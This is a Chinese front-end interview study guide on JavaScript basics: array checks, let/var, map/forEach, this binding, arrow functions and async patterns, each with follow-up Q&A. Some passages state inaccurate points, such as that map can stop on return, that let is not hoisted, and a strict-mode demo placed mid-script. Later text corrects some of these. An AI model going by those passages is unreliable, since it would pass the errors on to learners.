判断数组直接用 Array.isArray,其他写法都有坑。 instanceof 的问题是看原型链,iframe 里创建的数组,它的原型是那个窗口的 Array.prototype,拿到主页面判断就是 false。constructor 能被改写,Object.prototype.toString 在 ES6 之后也能被 Symbol.toStringTag 伪造成任意字符串。Array.isArray 是引擎内部直接看对象是不是真数组,不受这些影响,现在也没什么环境不支持它了。

  1. instanceof方法:使用instanceof运算符判断对象是否为数组,返回布尔值。例如:arr instanceof Array。
  2. constructor方法:使用constructor属性返回对象的构造函数,并判断该构造函数是否为数组构造函数。例如:arr.constructor == Array。
  3. 使用Object.prototype.toString.call()方法:利用Object.prototype.toString.call(value)方法,将要判断的变量作为参数传入,并判断返回的字符串是否为"[object Array]"。例如:Object.prototype.toString.call(arr) == '[object Array]'。
  4. ES5新增的isArray()方法:使用Array.isArray()方法判断一个值是否为数组,返回布尔值。例如:Array.isArray(arr)。

💬 面试官追问

  • iframe 里传过来的数组,instanceof Array 为什么是 false?

    每个窗口都有自己一套 Array 构造函数,那个数组的原型链指向 iframe 的 Array.prototype,跟主页面的不是同一个对象。Array.isArray 不看原型链,所以照样返回 true。

  • 类数组,比如 arguments、NodeList,Array.isArray 会返回什么?

    返回 false,它们只是有 length 和数字下标的普通对象。要用数组方法先转一下:Array.from(nodeList) 或者 [...nodeList]。

  • Object.prototype.toString 这种写法什么情况下会被骗?

    对象自己定义了 Symbol.toStringTag:const o = { [Symbol.toStringTag]: 'Array' },再调用就输出 '[object Array]'。一般业务代码碰不到,但写通用工具库时我还是用 Array.isArray。

  • Array.isArray(Array.prototype) 的结果是什么?

    true。Array.prototype 本身就是个数组,这是历史遗留,面试偶尔拿来考,知道就行。

  • TS 项目里还需要运行时判断数组吗?

    需要。类型只在编译期存在,接口返回的数据到底是不是数组,运行时才知道。Array.isArray 在 TS 里还能当类型守卫,判断完后面自动收窄成数组类型。

# 49 谈一谈let与var的区别

⚡ 30 秒速记

  • 作用域:var 是函数作用域,let 是块级作用域,if、for 的大括号都能关住它
  • 提升:var 提升并初始化成 undefined;let 也提升但不初始化,声明前访问报 ReferenceError,这一段叫暂时性死区(TDZ)
  • 重复声明:var 可以,let 直接 SyntaxError
  • 顶层 var 会挂到 window 上,let 不会
  • 循环里 let 每轮一个新绑定,setTimeout 打出 0 1 2;var 共享一个 i,打出 3 3 3

最核心的区别是作用域:var 只认函数,let 认大括号。 这就导致了经典的循环题,for (var i = 0; i < 3; i++) setTimeout(() => console.log(i)) 打出三个 3,因为三个回调拿的是同一个 i;换成 let,每一轮循环都会创建一个新的 i,打出 0 1 2。另外 let 声明之前访问会直接报错,比 var 静默拿到 undefined 更容易发现问题。现在我写代码默认 const,要改值才用 let,var 基本不碰。

1. 块级作用域:

  • let声明的变量具有块级作用域,在块级作用域内定义的变量只在该块内有效。
  • var声明的变量没有块级作用域,它的作用域是函数级的或全局的。

示例代码:

// 使用 let 声明变量
function example1() {
  let x = 10;

  if (true) {
    let x = 20;
    console.log(x); // 输出 20
  }

  console.log(x); // 输出 10
}

example1();

// 使用 var 声明变量
function example2() {
  var y = 30;

  if (true) {
    var y = 40;
    console.log(y); // 输出 40
  }

  console.log(y); // 输出 40
}

example2();

2. 变量提升:

  • 使用 let 声明的变量不存在变量提升,必须在声明后使用。
  • 使用 var 声明的变量会存在变量提升,可以在声明之前使用。

示例代码:

// 使用 let 声明变量
function example3() {
  console.log(x); // 报错:ReferenceError: x is not defined
  let x = 10;
}

example3();

// 使用 var 声明变量
function example4() {
  console.log(y); // 输出 undefined
  var y = 20;
}

example4();

3. 重复声明:

  • 使用 let 声明的变量不允许重复声明,重复声明会导致报错。
  • 使用 var 声明的变量允许重复声明,不会报错,后面的声明会覆盖前面的声明。

示例代码:

// 使用 let 声明变量
let z = 30;
let z = 40; // 报错:SyntaxError: Identifier 'z' has already been declared

// 使用 var 声明变量
var w = 50;
var w = 60; // 不会报错,后面的声明覆盖前面的声明
console.log(w); // 输出 60

4. 循环中的区别

在for循环中,使用var声明的变量具有函数作用域,因此在循环结束后仍然可以访问到循环变量;而使用let声明的变量具有块级作用域,因此在每次循环迭代时会创建一个新的变量实例,避免了常见的循环中的问题。

  • 使用 let 声明的变量在循环体内部具有块级作用域,每次迭代都会创建一个新的变量。
  • 使用 var 声明的变量在循环体内部没有块级作用域,变量是函数级的或全局的。
// 使用 let 声明变量的循环
for (let i = 0; i < 3; i++) {
  setTimeout(function() {
    console.log(i); // 输出 0, 1, 2
  }, 1000);
}

// 使用 var 声明变量的循环
for (var j = 0; j < 3; j++) {
  setTimeout(function() {
    console.log(j); // 输出 3, 3, 3
  }, 1000);
}

💬 面试官追问

  • let 到底有没有变量提升?

    有,只是没初始化。看这段:let x = 1; { console.log(x); let x = 2 },如果不提升,会打印外层的 1,实际报的是 ReferenceError,说明块里的 x 已经占了位置,只是还在死区里。

  • typeof 一个还没声明的变量不报错,那在 TDZ 里呢?

    会报错。typeof undeclaredVar 返回 'undefined',但 typeof x; let x 直接抛 ReferenceError,TDZ 让 typeof 也不再安全。

  • 不用 let,怎么让 var 版循环打出 0 1 2?

    用立即执行函数给每轮造一个作用域:(function (j) { setTimeout(() => console.log(j)) })(i)。或者用 setTimeout 的第三个参数把 i 传进去。let 出来之前大家都这么写。

  • 顶层 let a = 1,window.a 能拿到吗?

    拿不到,是 undefined。let 和 const 的全局变量放在一个单独的声明环境里,不挂 window,这也避免了和 window.name 这类内置属性撞名。

  • 老项目里的 var 能全局替换成 let 吗?

    不能无脑换。代码里如果有声明前使用、同名重复声明,或者依赖 window.xxx 读全局变量,换完就会报错。我会先让 ESLint 的 no-var 规则报出来,再一个个看。

# 50 map与forEach的区别

⚡ 30 秒速记

  • 返回值:map 返回等长的新数组,forEach 返回 undefined
  • 用途:要结果用 map(转换),只做事用 forEach(打日志、改外部状态)
  • map 能接着 .filter().reduce(),forEach 链不下去
  • 两个都中断不了,回调里 return 只是结束这一轮;要提前退出用 for...of、some、every、find
  • 坏味道:调了 map 却不用返回值,那就该换 forEach

map 是做转换的,返回一个新数组;forEach 只是挨个执行,返回 undefined。 所以选哪个看你要不要结果:users.map(u => u.name) 拿名字列表,users.forEach(u => track(u)) 只是上报。一个常见误区是以为 map 里能 return 中断,其实两个都不行,return 只是跳过当前这一项,后面照样跑。性能上差别很小,不值得纠结。

  • forEach方法是无法中断的,即使在遍历过程中使用return语句也无法停止遍历。而map方法可以使用return语句中断遍历。
  • map方法会生成一个新的数组,并将每次遍历的返回值按顺序放入新数组中。而forEach方法没有返回值,仅用于遍历数组。
  • map方法可以链式调用其他数组方法,比如filter、reduce等。而forEach方法不能链式调用其他数组方法。

示例代码:

const numbers = [1, 2, 3, 4, 5];

// 使用 forEach 方法遍历数组
numbers.forEach(function(item, index, array) {
  console.log(item); // 输出数组元素
  console.log(index); // 输出索引值
  console.log(array); // 输出原数组
});

// 使用 map 方法遍历数组并生成新数组
const doubledNumbers = numbers.map(function(item, index, array) {
  return item * 2;
});
console.log(doubledNumbers); // 输出 [2, 4, 6, 8, 10]

在上面的示例中,使用forEach方法遍历数组并输出元素、索引和原数组。而使用map方法遍历数组并返回每个元素的两倍值,生成一个新的数组doubledNumbers。注意,在map的回调函数中使用了return语句来指定返回值。

总结:forEach方法用于遍历数组,没有返回值;map方法也用于遍历数组,返回一个新的数组,并且可以通过在回调函数中使用return语句来指定每次遍历的返回值。

补充一个容易被带偏的点:map 和 forEach 一样,没法用 return 中断遍历。回调里的 return 只决定这一项的返回值,后面的元素照样会处理。

const res = [1, 2, 3, 4].map(n => {
  if (n === 2) return 'stop' // 只是这一项变成 'stop'
  return n * 10
})
console.log(res) // [10, 'stop', 30, 40]

// 真要提前停下来,用能短路的方法
;[1, 2, 3, 4].some(n => {
  console.log(n) // 只打印 1 2
  return n === 2 // 返回 true 就停
})

记住一条:forEach、map、filter、reduce 都会走完全程;some、every、find、findIndex 能短路;需要 break 和 continue 就用 for 或 for...of。

💬 面试官追问

  • forEach 里怎么提前跳出?

    正经做法是换循环:for...of 可以 break,some 返回 true 就停,find 找到就停。抛异常再 catch 也能跳出,但那是把异常当控制流用,代码评审我不会放过。

  • forEach 里写 await,为什么没等?

    forEach 不管回调返回的 Promise,所有回调同时启动,外面的代码不等它们就往下走了。要串行用 for...of 加 await,要并行用 await Promise.all(arr.map(async x => ...))。

  • ['1','2','3'].map(parseInt) 输出什么?

    [1, NaN, NaN]。map 会传 (item, index),变成 parseInt('2', 1)、parseInt('3', 2),进制不合法就是 NaN。写成 .map(Number) 或者 .map(s => parseInt(s, 10))。

  • 稀疏数组 [1, , 3],两者怎么处理空位?

    都跳过空位,回调只执行两次。map 的结果里空位会保留下来,比如 [1, , 3].map(n => n * 2) 得到 [2, empty, 6]。

  • 在 map 回调里改原数组的元素,有问题吗?

    能跑,但违背了 map 的本意,读代码的人会默认原数组没动。要转换就返回新对象:list.map(item => ({ ...item, checked: true })),在 React 里不这么写,状态更新还会失效。

# 51 谈一谈你理解的函数式编程

⚡ 30 秒速记

  • 核心:用纯函数拼业务,数据不改原值、副作用往边上挪
  • 纯函数:同样输入永远同样输出,不碰外部状态 → 好测试、好缓存
  • 不可变:改数据就返回新对象,{ ...obj, a: 1 }、arr.toSorted(),复杂嵌套交给 Immer
  • 高阶函数和组合:map、filter、reduce、柯里化、compose / pipe
  • 前端落地:UI = f(state)、Redux 的 reducer 必须纯、副作用集中到 useEffect;别为了纯而纯

函数式编程就是把程序写成一串「输入进去、结果出来」的函数,尽量不去改外面的东西。 比如算购物车总价,items.filter(i => i.checked).reduce((s, i) => s + i.price, 0),不修改 items,同样的输入永远算出同样的数,测试时不用准备任何外部环境。前端里最典型的是 React,组件就是 state 到 UI 的函数,状态更新要返回新对象。但副作用总要有,请求、DOM 操作躲不掉,我的做法是把它们集中在少数几个地方管住。

  • 简单说,"函数式编程"是一种"编程范式"(programming paradigm),也就是如何编写程序的方法论
  • 它具有以下特性:闭包和高阶函数、惰性计算、递归、函数是"第一等公民"、只用"表达式"

函数式编程(Functional Programming)是一种编程范式,它强调将计算过程视为函数求值的数学模型,通过组合和应用函数来进行程序开发。函数式编程具有以下特点:

  1. 纯函数(Pure Functions):函数的输出只由输入决定,不会产生副作用,即对同样的输入始终返回相同的输出。纯函数不会修改传入的参数,也不会改变外部状态,使得代码更加可预测和易于测试。
  2. 不可变性(Immutability):数据一旦创建就不能被修改,任何对数据的改变都会创建一个新的数据副本。这种不可变性使得代码更加安全,避免了一些潜在的错误。
  3. 高阶函数(Higher-Order Functions):函数可以作为参数传递给其他函数,也可以作为返回值返回。这种高阶函数的能力可以用来进行函数的组合、封装和抽象,提高代码的复用性和可读性。
  4. 函数组合(Function Composition):通过将多个函数组合成一个新的函数,可以实现更复杂的逻辑。函数组合可以通过函数的返回值作为参数传递给另一个函数,将多个函数连接起来形成一个函数链。
  5. 惰性计算(Lazy Evaluation):只在需要的时候才进行计算,避免不必要的计算。这种惰性计算可以提高程序的性能和效率。

下面是一个简单的函数式编程的示例代码:

// 纯函数示例:计算一个数组中所有偶数的平均值
function calculateAverage(numbers) {
  const evenNumbers = numbers.filter((num) => num % 2 === 0);
  const sum = evenNumbers.reduce((acc, curr) => acc + curr, 0);
  return sum / evenNumbers.length;
}

const numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
const average = calculateAverage(numbers);
console.log(average); // 输出 6

// 高阶函数示例:使用 map 和 reduce 计算数组中每个元素的平方和
function calculateSquareSum(numbers) {
  return numbers.map((num) => num * num).reduce((acc, curr) => acc + curr, 0);
}

const numbers = [1, 2, 3, 4, 5];
const squareSum = calculateSquareSum(numbers);
console.log(squareSum); // 输出 55

// 函数组合示例:组合两个函数计算数组中偶数的平方和
const evenNumbersSquareSum = calculateSquareSum(numbers.filter((num) => num % 2 === 0));
console.log(evenNumbersSquareSum); // 输出 20

在上面的示例代码中,我们使用纯函数的方式编写了两个函数calculateAverage和calculateSquareSum,它们接收一个数组作为参数,并根据函数式编程的原则

💬 面试官追问

  • 这个函数纯不纯:const add = x => x + base?

    不纯。结果依赖外部变量 base,base 一改,同样的 x 返回值就变了。改成 const add = (x, base) => x + base 才是纯的。

  • arr.sort() 和 arr.toSorted() 有什么区别?

    sort 原地改数组,toSorted 返回新数组、原数组不动,是 ES2023 加的,同一批还有 toReversed、toSpliced、with。在 React 里直接 list.sort() 再 setList(list),引用没变,组件不会更新。

  • 柯里化在实际项目里有什么用?

    主要是提前固定参数,做出专用函数。比如 const log = level => msg => console.log(level, msg),const warn = log('warn'),后面到处用 warn('xxx')。日常不必刻意柯里化,看到能少传重复参数时再用。

  • 每次都返回新对象,大数组会不会很慢?

    展开运算符只是浅拷贝,没改的子对象还是共享引用,开销没想象中大。真到几万条频繁更新,可以用 Immer,它只复制改动路径上的节点,写法还是可变风格。

  • useEffect 和函数式编程有什么关系?

    React 要求渲染过程是纯的,同样的 props 和 state 渲染出同样的结果。请求、订阅、改 document.title 这些副作用不能写在渲染里,就统一放进 useEffect,等提交到页面后再执行。

# 52 谈一谈箭头函数与普通函数的区别?

⚡ 30 秒速记

  • this:箭头函数没有自己的 this,用定义位置外层的,call / apply / bind 改不动
  • 不能 new:没有 prototype,new 会抛 TypeError
  • 没有 arguments,用剩余参数 ...args;也没有 super、new.target
  • 不能当 Generator,函数体里不能 yield
  • 坑:对象方法、Vue 2 的 methods、需要 this 指向触发元素的事件回调,都别用箭头函数

最关键的区别是 this:普通函数的 this 看谁调用它,箭头函数没有自己的 this,直接用外层的。 所以回调里想保留外层 this 时箭头函数特别顺手,比如类方法里写 setTimeout(() => this.update()),不用再 const self = this。反过来,对象方法写成箭头函数就会拿到外层的 this,通常是 undefined 或 window。另外它不能 new、没有 arguments、不能写 yield,这几条记住就够了。

  1. this指向: 箭头函数没有自己的this,它会捕获所在上下文的this值。而普通函数的this是在运行时确定的,根据调用方式决定。
// 普通函数中的this指向调用者
function greet() {
  console.log(`Hello, ${this.name}!`);
}

const person = { name: 'Alice' };

greet.call(person); // 输出:Hello, Alice!

// 箭头函数中的this指向定义时的上下文
const greetArrow = () => {
  console.log(`Hello, ${this.name}!`);
};

greetArrow.call(person); // 输出:Hello, undefined!
  1. 不可作为构造函数: 箭头函数不能使用new关键字来创建实例,它没有自己的prototype属性,无法进行实例化。
const Person = (name) => {
  this.name = name; // 错误,箭头函数不能作为构造函数
};

const person = new Person('Alice'); // 错误,无法实例化箭头函数
  1. 无arguments对象: 箭头函数没有自己的arguments对象,可以使用Rest参数来代替。
function sum() {
  console.log(arguments); // 输出函数的参数列表
}

sum(1, 2, 3); // 输出:Arguments(3) [1, 2, 3]

const sumArrow = (...args) => {
  console.log(args); // 输出函数的参数列表
};

sumArrow(1, 2, 3); // 输出:[1, 2, 3]
  1. 无yield命令: 箭头函数不能用作Generator函数,无法使用yield命令进行函数的暂停和恢复。
function* generatorFunc() {
  yield 1;
  yield 2;
}

const gen = generatorFunc();
console.log(gen.next().value); // 输出:1

const arrowGen = () => {
  yield 1; // 错误,箭头函数不能使用yield命令
};

综上所述,箭头函数与普通函数在this指向、构造函数能力、arguments对象和yield命令等方面有明显的区别。根据具体的使用场景和需求,选择适合的函数类型进行编程。

总结

  • 函数体内的this对象,就是定义时所在的对象,而不是使用时所在的对象
  • 不可以当作构造函数,也就是说,不可以使用new命令,否则会抛出一个错误
  • 不可以使用arguments对象,该对象在函数体内不存在。如果要用,可以用Rest参数代替
  • 不可以使用yield命令,因此箭头函数不能用作Generator函数

💬 面试官追问

  • 这段输出什么:const obj = { name: 'a', say: () => console.log(this.name) }; obj.say()?

    拿不到 'a'。箭头函数的 this 是定义 obj 时外层的 this,模块里是 undefined 会直接报错,非严格模式的普通脚本里是 window。对象方法要写成 say() { ... }。

  • bind 能改箭头函数的 this 吗?

    改不了。bind 能返回新函数、预置参数也有效,但 this 被忽略,箭头函数一直用定义时外层的那个。

  • 类里写 handleClick = () => {} 和普通方法有什么区别?

    箭头函数写成类字段,每个实例都有一份自己的函数,this 永远指向实例,传给 onClick 不会丢。普通方法在原型上共享一份,传出去单独调用 this 就丢了,得 bind。代价是实例多的时候内存多一点。

  • addEventListener 的回调用箭头函数,有什么区别?

    普通函数里 this 是绑定事件的那个元素,箭头函数里不是。用箭头函数时改用 e.currentTarget 拿元素,更直观,也不依赖 this。

  • 箭头函数要返回一个对象,为什么写 () => { a: 1 } 拿到的是 undefined?

    大括号被当成函数体了,a: 被解析成标签语句。要加一层小括号:() => ({ a: 1 })。

# 53 谈一谈函数中this的指向

⚡ 30 秒速记

  • 普通函数的 this 调用时才定,看「谁调的」;箭头函数看「写在哪」
  • 优先级:new > call / apply / bind > obj.fn() 隐式绑定 > 直接 fn() 默认绑定
  • 直接调用:非严格模式是 window(globalThis),严格模式、ES module、class 内部是 undefined
  • 最常见的丢失:const f = obj.fn; f()、把方法当回调传给 setTimeout 或事件
  • bind 只生效一次,fn.bind(a).bind(b) 里的 this 还是 a

判断 this 就看函数是怎么被调用的,而不是在哪定义的,箭头函数除外。 obj.fn() 里 this 是 obj;同一个函数赋给变量再调 f(),前面没有点了,this 就变成 undefined 或 window;new 调用时 this 是新建的实例;call、apply、bind 可以手动指定。几种情况同时出现时 new 最大。线上最常见的问题就是把方法当回调传出去,this 丢了,用箭头函数包一层或者 bind 就好。

函数中的this指向是根据函数的调用方式而确定的,有以下几种常见的情况:

  1. 方法调用模式: 当函数作为对象的方法被调用时,this指向调用该方法的对象。
const person = {
  name: 'Alice',
  greet: function() {
    console.log(`Hello, ${this.name}!`);
  }
};

person.greet(); // 输出:Hello, Alice!
  1. 函数调用模式: 当函数独立调用时,this指向全局对象(在浏览器环境中通常指向window对象)或undefined(在严格模式下)。
function greet() {
  console.log(`Hello, ${this.name}!`);
}

const name = 'Alice';

greet(); // 输出:Hello, undefined!

// 在严格模式下
'use strict';
greet(); // 输出:Hello, undefined!
  1. 构造器调用模式: 当函数用作构造器(使用new关键字)创建对象时,this指向新创建的对象。
function Person(name) {
  this.name = name;
  this.greet = function() {
    console.log(`Hello, ${this.name}!`);
  };
}

const person = new Person('Alice');

person.greet(); // 输出:Hello, Alice!
  1. apply/call调用模式: 使用apply或call方法来调用函数时,可以手动指定this的值。
function greet() {
  console.log(`Hello, ${this.name}!`);
}

const person = {
  name: 'Alice'
};

greet.call(person); // 输出:Hello, Alice!
greet.apply(person); // 输出:Hello, Alice!

总结来说,函数中的this指向是根据函数的调用方式来确定的,可以是调用函数的对象、全局对象、新创建的对象,或者通过apply/call方法手动指定。了解函数的调用方式可以帮助理解和正确使用this关键字。

总结

1. this 指向有哪几种

  • 默认绑定:全局环境中,this默认绑定到window
  • 隐式绑定:一般地,被直接对象所包含的函数调用时,也称为方法调用,this隐式绑定到该直接对象
  • 隐式丢失:隐式丢失是指被隐式绑定的函数丢失绑定对象,从而默认绑定到window。显式绑定:通过call()、apply()、bind()方法把对象绑定到this上,叫做显式绑定
  • new绑定:如果函数或者方法调用之前带有关键字new,它就构成构造函数调用。对于this绑定来说,称为new绑定
    • 构造函数通常不使用return关键字,它们通常初始化新对象,当构造函数的函数体执行完毕时,它会显式返回。在这种情况下,构造函数调用表达式的计算结果就是这个新对象的值
    • 如果构造函数使用return语句但没有指定返回值,或者返回一个原始值,那么这时将忽略返回值,同时使用这个新对象作为调用结果
    • 如果构造函数显式地使用return语句返回一个对象,那么调用表达式的值就是这个对象

2. 改变函数内部 this 指针的指向函数(bind,apply,call的区别)

  • apply:调用一个对象的一个方法,用另一个对象替换当前对象。例如:B.apply(A, arguments);即A对象应用B对象的方法
  • call:调用一个对象的一个方法,用另一个对象替换当前对象。例如:B.call(A, args1,args2);即A对象调用B对象的方法
  • bind除了返回是函数以外,它的参数和call一样

3. 箭头函数

  • 箭头函数没有this,所以需要通过查找作用域链来确定this的值,这就意味着如果箭头函数被非箭头函数包含,this绑定的就是最近一层非箭头函数的this,
  • 箭头函数没有自己的arguments对象,但是可以访问外围函数的arguments对象
  • 不能通过new关键字调用,同样也没有new.target值和原型

💬 面试官追问

  • setTimeout(obj.say, 100) 里为什么拿不到 obj?

    传进去的只是函数本身,跟 obj 已经没关系了,定时器到点直接调用它,等于独立调用。写成 setTimeout(() => obj.say(), 100) 或者 obj.say.bind(obj)。

  • new 和 bind 同时用,this 听谁的?

    听 new 的。const B = Foo.bind(obj); new B(),里面的 this 是新建的实例,不是 obj,bind 预置的参数倒是还生效。

  • call(null) 的时候 this 是什么?

    非严格模式下 null 和 undefined 会被替换成全局对象;严格模式下就是 null 本身。所以写工具函数别依赖这个行为。

  • 对象方法里套了个普通函数,里面的 this 是什么?

    内层函数是直接调用的,跟外层方法的 this 没关系,非严格模式是 window。这就是以前到处 const that = this 的原因,现在内层写成箭头函数就继承外层了。

  • class 里的方法解构出来调用会怎样?

    const { render } = instance; render() 会拿到 undefined,class 内部默认严格模式,不会退回 window。所以 React 类组件以前要在构造函数里 bind,或者写成箭头函数类字段。

# 54 异步编程的实现方式

⚡ 30 秒速记

  • 演进:回调 → 事件 / 发布订阅 → Promise → Generator + co → async/await
  • 回调:简单但会嵌套成回调地狱,错误要每层手动传
  • Promise:链式调用拍平嵌套,catch 统一兜错;async/await 是它的语法糖,现在首选
  • 并发:all 一个失败就失败 / allSettled 全等完 / race 谁先结束要谁 / any 要第一个成功
  • 坑:循环里 await 是串行,互不依赖就先收集再 Promise.all;量大要限并发

JS 是单线程的,异步的本质是「先发起,等结果回来再通知我」,写法从回调一路演进到 async/await。 回调最直接,但三四层嵌套就看不下去,错误也得每层传;Promise 把嵌套拍平成链,错误一个 catch 兜住;async/await 让异步代码读起来像同步,用 try/catch 处理错误,现在我基本只写这个。还有一个常踩的坑:三个互不依赖的请求挨个 await 会变成串行,应该一起发出去再 Promise.all。

时序图 · 3 个参与者 / 8 步
alt 请求成功请求失败主线程主线程网络线程网络线程微任务队列微任务队列调用 async 函数,执行到 await1发出 fetch 请求2函数暂停,先跑后面的同步代码3响应回来,Promise 落定4恢复 await 之后的代码5拿到数据继续往下执行6await 处抛出异常7进入 catch 分支处理错误8
  • 回调函数:在异步操作完成后,通过回调函数来处理结果
    • 优点:简单、容易理解
    • 缺点:不利于维护,代码耦合高
function fetchData(callback) {
  setTimeout(() => {
    const data = 'Hello, world!';
    callback(data);
  }, 1000);
}

fetchData((data) => {
  console.log(data); // 输出:Hello, world!
});
  • 事件监听:通过事件的发布和订阅来实现异步操作
    • 优点:容易理解,可以绑定多个事件,每个事件可以指定多个回调函数
    • 缺点:事件驱动型,流程不够清晰
function fetchData() {
  setTimeout(() => {
    const data = 'Hello, world!';
    eventEmitter.emit('dataReceived', data);
  }, 1000);
}

eventEmitter.on('dataReceived', (data) => {
  console.log(data); // 输出:Hello, world!
});

fetchData();
  • 发布/订阅(观察者模式):类似于事件监听,但是可以通过消息中心来管理发布者和订阅者
    • 类似于事件监听,但是可以通过‘消息中心’,了解现在有多少发布者,多少订阅者
function fetchData() {
  setTimeout(() => {
    const data = 'Hello, world!';
    messageCenter.publish('dataReceived', data);
  }, 1000);
}

messageCenter.subscribe('dataReceived', (data) => {
  console.log(data); // 输出:Hello, world!
});

fetchData();
  • Promise对象:使用Promise对象可以更方便地处理异步操作的结果和错误
    • 优点:可以利用then方法,进行链式写法;可以书写错误时的回调函数;
    • 缺点:编写和理解,相对比较难
function fetchData() {
  return new Promise((resolve, reject) => {
    setTimeout(() => {
      const data = 'Hello, world!';
      resolve(data);
    }, 1000);
  });
}

fetchData()
  .then((data) => {
    console.log(data); // 输出:Hello, world!
  })
  .catch((error) => {
    console.error(error);
  });
  • Generator函数:使用Generator函数可以实现函数体内外的数据交换和错误处理
    • 优点:函数体内外的数据交换、错误处理机制
    • 缺点:流程管理不方便
function* fetchData() {
  try {
    const data = yield new Promise((resolve, reject) => {
      setTimeout(() => {
        resolve('Hello, world!');
      }, 1000);
    });
    console.log(data); // 输出:Hello, world!
  } catch (error) {
    console.error(error);
  }
}

const generator = fetchData();
const promise = generator.next().value;
promise
  .then((data) => {
    generator.next(data);
  })
  .catch((error) => {
    generator.throw(error);
  });
  • async函数:async函数是Generator函数的语法糖,可以更方便地编写和理解异步代码
    • 优点:内置执行器、更好的语义、更广的适用性、返回的是Promise、结构清晰。
    • 缺点:错误处理机制
async function fetchData() {
  try {
    const data = await new Promise((resolve, reject) => {
      setTimeout(() => {
        resolve('Hello, world!');
      }, 1000);
    });
    console.log(data); // 输出:Hello, world!
  } catch (error) {
    console.error(error);
  }
}

fetchData();

💬 面试官追问

  • 三个接口挨个 await,每个 1s,总共多久?怎么优化?

    串行要 3s 左右。互不依赖就同时发:const [a, b, c] = await Promise.all([getA(), getB(), getC()]),大概 1s。

  • Promise.all 里一个失败了,其他请求会被取消吗?

    不会。all 只是立刻 reject,其他请求照样跑完,只是结果没人要了。真要取消得配 AbortController,失败时调 abort()。

  • async 函数里忘了写 await,会出什么问题?

    拿到的是 Promise 而不是数据,比如 if (await checkLogin()) 少了 await,Promise 对象永远是真值,判断全部通过。报错也接不住,try/catch 只能捕获被 await 的那个 Promise。

  • 一次要请求 500 张图片,直接 Promise.all 有问题吗?

    会瞬间发出 500 个请求,浏览器同域名并发有上限,后端也可能被打爆。做个并发池,同时只跑 5 个,完成一个补一个,或者用 p-limit 这类库。

  • await 后面的代码是什么时候执行的?

    await 会把函数后半段挂成微任务,等 Promise 落定后,在当前同步代码跑完、下一个宏任务之前执行。所以函数里写 console.log(1); await null; console.log(2),调用这个函数之后的同步代码会比 2 先打出来。

# 56 谈谈你对原生Javascript了解程度

⚡ 30 秒速记

  • 开放题,按层次答:语言本身 → 浏览器能力 → 工程实践,别堆名词
  • 语言层:类型与转换、作用域与闭包、this 和原型链、事件循环、模块化
  • 浏览器层:DOM 和事件、BOM、存储、网络(fetch、WebSocket)、IntersectionObserver、Web Worker
  • 工程层:错误处理、性能、内存泄漏、安全(XSS、跨域)
  • 挑一两个真深入过的点展开,比如手写 Promise、排查过内存泄漏,比罗列二十个名词有用

这种题我不会背清单,而是分三层说,再挑一个自己真正吃透的点展开。 语言层是闭包、原型链、this、事件循环这些,决定代码为什么这么跑;浏览器层是 DOM、事件、网络和存储,决定页面能做什么;工程层是性能、内存和安全。说完我会主动引到一个具体的点,比如事件循环里微任务和宏任务的顺序,或者怎么用 Performance 面板查长任务,面试官顺着问下去,深度自然就出来了。

数据类型、运算、对象、Function、继承、闭包、作用域、原型链、事件、RegExp、JSON、Ajax、DOM、BOM、内存泄漏、跨域、异步装载、模板引擎、前端MVC、路由、模块化、Canvas、ECMAScript

1. 数据类型:JavaScript具有多种数据类型,包括字符串、数字、布尔值、对象、数组、函数等 2. 运算:JavaScript支持常见的算术运算、逻辑运算和比较运算,也支持位运算和三元运算符

let sum = 5 + 3;
let isTrue = true && false;
let isEqual = 10 === 5;
let bitwiseOr = 3 | 5;
let result = (num > 0) ? "Positive" : "Negative";

3. 对象:JavaScript中的对象是键值对的集合,可以通过字面量形式或构造函数创建对象

let person = { name: "poetry", age: 25 };
let car = new Object();
car.brand = "Toyota";
car.color = "Blue";

4. Function:JavaScript中的函数是一等公民,可以作为变量、参数或返回值进行操作

function add(a, b) {
  return a + b;
}

let multiply = function(a, b) {
  return a * b;
};

let result = multiply(2, 3);

5. 继承: JavaScript使用原型链实现对象之间的继承关系

function Animal(name) {
  this.name = name;
}

Animal.prototype.sayHello = function() {
  console.log("Hello, I'm " + this.name);
};

function Dog(name, breed) {
  Animal.call(this, name);
  this.breed = breed;
}

Dog.prototype = Object.create(Animal.prototype);
Dog.prototype.constructor = Dog;

let dog = new Dog("Max", "Labrador");
dog.sayHello();

6. 闭包:闭包是指函数能够访问其词法作用域外的变量,通过闭包可以实现数据的私有化和封装

function outerFunction() {
  let count = 0;

  return function() {
    count++;
    console.log(count);
  };
}

let increment = outerFunction();
increment(); // 输出:1
increment(); // 输出:2

7. 作用域:JavaScript具有函数作用域和块级作用域,在不同的作用域中变量的可访问性不同

function example() {
  let x = 10;

  if (true) {
    let y = 20;
    console.log(x); // 输出:10
    console.log(y); // 输出:20
  }
}

8. 原型链:原型链是JavaScript中实现对象继承的机制,每个对象都有一个原型对象,形成一个链式结构

function Animal(name) {
  this.name = name;
}

Animal.prototype.sayHello = function() {
  console.log("Hello, I'm " + this.name);
};

function Dog(name, breed) {
  this.breed = breed;
}

Dog.prototype = Object.create(Animal.prototype);
Dog.prototype.constructor = Dog;

let dog = new Dog("Max", "Labrador");
dog.sayHello();

9. 事件:JavaScript通过事件来响应用户的操作,可以通过事件监听和事件处理函数来实现

let button = document.getElementById("myButton");

button.addEventListener("click", function() {
  console.log("Button clicked");
});

10. RegExp:正则表达式是一种用于匹配和操作字符串的强大工具,JavaScript中提供了内置的RegExp对象

let pattern = /[a-zA-Z]+/;
let text = "Hello, World!";
let result = pattern.test(text);
console.log(result); // 输出:true

11. JSON:JSON是一种用于数据交换的格式,JavaScript提供了JSON对象来进行解析和生成JSON数据

let jsonStr = '{"name":"poetry", "age":25}';
let obj = JSON.parse(jsonStr);
console.log(obj.name); // 输出:poetry

let obj2 = { name: "Jane", age: 30 };
let jsonStr2 = JSON.stringify(obj2);
console.log(jsonStr2); // 输出:{"name":"Jane","age":30}

12. Ajax:Ajax是一种在后台与服务器进行异步通信的技术,可以实现页面的局部刷新和动态数据加载

let xhr = new XMLHttpRequest();
xhr.open("GET", "https://api.example.com/data", true);
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4 && xhr.status === 200) {
    let response = xhr.responseText;
    console.log(response);
  }
};
xhr.send();

13. DOM:DOM是JavaScript操作网页内容和结构的接口,可以通过DOM来增删改查网页元素

let element = document.getElementById("myElement");
element.innerHTML = "New content";

let newElement = document.createElement("div");
newElement.textContent = "Dynamic element";
document.body.appendChild(newElement);

